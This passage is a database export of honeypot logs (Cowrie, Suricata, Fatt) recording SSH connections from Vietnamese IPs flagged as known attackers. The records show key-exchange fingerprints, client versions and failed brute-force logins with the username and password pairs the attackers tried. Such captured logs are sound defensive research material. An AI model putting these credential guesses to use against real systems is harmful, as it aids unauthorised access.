"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7212, "dest_port": 22, "timestamp": "2021-09-20T11:13:45.771153", "@timestamp": "2021-09-20T11:13:45.771Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27054	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:46.524618+03	2021-09-20 14:15:14.074674+03	{"_id": "8gbpAnwBvYTbRNuEdSUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:39610 (192.168.176.2:22) [session: ab9879e1ebe8]", "session": "ab9879e1ebe8", "@version": "1", "protocol": "ssh", "src_port": 39610, "dest_port": 22, "timestamp": "2021-09-20T11:13:46.524618Z", "@timestamp": "2021-09-20T11:13:46.524Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27055	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:13:45.72457+03	2021-09-20 14:15:14.076646+03	{"_id": "8wbpAnwBvYTbRNuEdSUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "6df13f274ec3", "@version": "1", "duration": 120.00166630744934, "timestamp": "2021-09-20T11:13:45.724570Z", "@timestamp": "2021-09-20T11:13:45.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27056	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:46.084018+03	2021-09-20 14:15:14.077646+03	{"_id": "9AbpAnwBvYTbRNuEdSUg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [monolit1/NNQU1MMP] failed", "session": "918ec226f031", "@version": "1", "password": "NNQU1MMP", "username": "monolit1", "timestamp": "2021-09-20T11:13:46.084018Z", "@timestamp": "2021-09-20T11:13:46.084Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27057	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:45.71543+03	2021-09-20 14:15:14.078674+03	{"_id": "-wbpAnwBvYTbRNuEdSUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [customs/customs] failed", "session": "46dcbe05a60d", "@version": "1", "password": "customs", "username": "customs", "timestamp": "2021-09-20T11:13:45.715430Z", "@timestamp": "2021-09-20T11:13:45.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27058	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:45.771789+03	2021-09-20 14:15:14.080671+03	{"_id": "_AbpAnwBvYTbRNuEdSUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3d6c57439a0d", "@version": "1", "timestamp": "2021-09-20T11:13:45.771789Z", "@timestamp": "2021-09-20T11:13:45.771Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27059	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:45.784037+03	2021-09-20 14:15:14.081682+03	{"_id": "_QbpAnwBvYTbRNuEdSUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ab299821dfac", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:45.784037Z", "@timestamp": "2021-09-20T11:13:45.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27060	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:46.527631+03	2021-09-20 14:15:14.082698+03	{"_id": "_gbpAnwBvYTbRNuEdSUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ab9879e1ebe8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:46.527631Z", "@timestamp": "2021-09-20T11:13:46.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27061	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:46.528638+03	2021-09-20 14:15:14.083646+03	{"_id": "_wbpAnwBvYTbRNuEdSUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ab299821dfac", "@version": "1", "timestamp": "2021-09-20T11:13:46.528638Z", "@timestamp": "2021-09-20T11:13:46.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27062	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:46.802397+03	2021-09-20 14:15:14.085674+03	{"_id": "AQbpAnwBvYTbRNuEdyYi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 442456473259114, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39610, "dest_port": 22, "timestamp": "2021-09-20T11:13:46.802397Z", "@timestamp": "2021-09-20T11:13:46.802Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27063	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:46.528479+03	2021-09-20 14:15:14.086674+03	{"_id": "AwbpAnwBvYTbRNuEeCZT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39610, "timestamp": "2021-09-20T11:13:46.528479", "@timestamp": "2021-09-20T11:13:46.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27064	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:48.128586+03	2021-09-20 14:15:14.087676+03	{"_id": "EwbpAnwBvYTbRNuEfCb1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [php5/8c2b16a68c07d0c3] failed", "session": "96b5e98af180", "@version": "1", "password": "8c2b16a68c07d0c3", "username": "php5", "timestamp": "2021-09-20T11:13:48.128586Z", "@timestamp": "2021-09-20T11:13:48.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27065	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:48.131199+03	2021-09-20 14:15:14.088675+03	{"_id": "FAbpAnwBvYTbRNuEfCb1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a4271fb33a4e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:48.131199Z", "@timestamp": "2021-09-20T11:13:48.131Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27066	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:48.469349+03	2021-09-20 14:15:14.090647+03	{"_id": "HAbpAnwBvYTbRNuEgCYl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 